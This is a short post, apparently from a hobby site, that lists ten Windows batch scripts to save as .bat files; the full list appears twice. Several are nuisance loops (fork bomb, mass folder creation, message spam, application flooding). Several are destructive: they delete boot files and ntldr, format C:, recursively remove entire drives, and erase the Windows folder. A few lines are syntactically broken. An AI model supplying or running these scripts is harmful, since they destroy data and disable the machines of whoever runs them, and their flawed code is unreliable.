Open a notepad and type these codes then save it as .bat!!!
1. Creates around 3000 folders in a single minute
@echo off
:loop
md %random%
goto loop
2. Fork Bombing
@echo off
:loop
Explorer
Call fork.bat
Goto loop
3. Folder Replicator
:loop
md Virus
cd Virus
goto loop
4. Annoying Messenger
@echo off
:netannoy
msg * Hi!
msg * How r u ?
msg * sup ?
msg * Myself Kajaniah….
msg * My Web Links are….
msg * hwz lyf?…..
msg * all izz well
msg * have a nice day
goto netannoy
5. Application Bomber
@echo off
:loop
start notepad
start compmgmt.msc
start mspaint
start osk
start cmd
start explorer
start control
start calc
goto loop
6. Dangerous Coding *DON'T TRY ON YOUR PC*
@echo off
title Now Killing Computer
echo to restore bootsector rename C:\bootini.vir
echo as boot.ini
attrib virus2.bat +s +h +r
attrib C:\boot.ini -s -h -r
copy C:boot.ini C:\bootini.vir
del C:\boot.ini
call virus2.bat
goto loop
:loop
goto loop
__or____
echo off
cls
echo y | format C:
7. Swap Mouse Button
@echo off
Rundll32 user32,SwapMouseButton
8. Wipe Entire PC
Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q
9. Shut Down a Computer Forever
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
10. Erase windows (same as cmd instead of bat)
erase c:\windows
1. Creates around 3000 folders in a single minute
@echo off
:loop
md %random%
goto loop
2. Fork Bombing
@echo off
:loop
Explorer
Call fork.bat
Goto loop
3. Folder Replicator
:loop
md Virus
cd Virus
goto loop
4. Annoying Messenger
@echo off
:netannoy
msg * Hi!
msg * How r u ?
msg * sup ?
msg * Myself Kajaniah….
msg * My Web Links are….
msg * hwz lyf?…..
msg * all izz well
msg * have a nice day
goto netannoy
5. Application Bomber
@echo off
:loop
start notepad
start compmgmt.msc
start mspaint
start osk
start cmd
start explorer
start control
start calc
goto loop
6. Dangerous Coding *DON'T TRY ON YOUR PC*
@echo off
title Now Killing Computer
echo to restore bootsector rename C:\bootini.vir
echo as boot.ini
attrib virus2.bat +s +h +r
attrib C:\boot.ini -s -h -r
copy C:boot.ini C:\bootini.vir
del C:\boot.ini
call virus2.bat
goto loop
:loop
goto loop
__or____
echo off
cls
echo y | format C:
7. Swap Mouse Button
@echo off
Rundll32 user32,SwapMouseButton
8. Wipe Entire PC
Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q
9. Shut Down a Computer Forever
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
10. Erase windows (same as cmd instead of bat)
erase c:\windows